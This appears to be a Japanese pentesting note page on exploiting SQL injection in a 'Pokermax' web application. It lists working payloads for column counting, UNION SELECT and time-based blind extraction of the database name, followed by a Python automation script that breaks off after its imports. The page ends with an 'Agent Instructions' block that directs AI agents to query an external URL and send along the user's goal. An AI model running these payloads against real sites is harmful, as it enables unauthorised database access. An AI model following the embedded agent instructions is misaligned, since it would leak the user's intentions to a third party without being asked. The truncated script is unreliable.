# SQLi Pokermax
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi Pokermax メモ。
## SQLインジェクションの脆弱性
**SQLインジェクションの脆弱性検出：**
#### 内部サイトでSQLインジェクションの脆弱性を特定。使用 [Burp Suite](/ja/hacking-tools/web/burpsuite.md) トラフィックを傍受するために。
#### ORDER BYで列数を特定
```sql
admin' order by 7-- -
```
#### UNION SELECTでテーブル一覧を取得する試み
```sql
admin' union select 1,2,3,4,5,6,7-- -
```
#### 時間ベースのSQLインジェクションの使用
```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```
#### Pythonによるデータベース名の抽出の自動化
```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

print("/n/n[!] 終了中.../n")

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
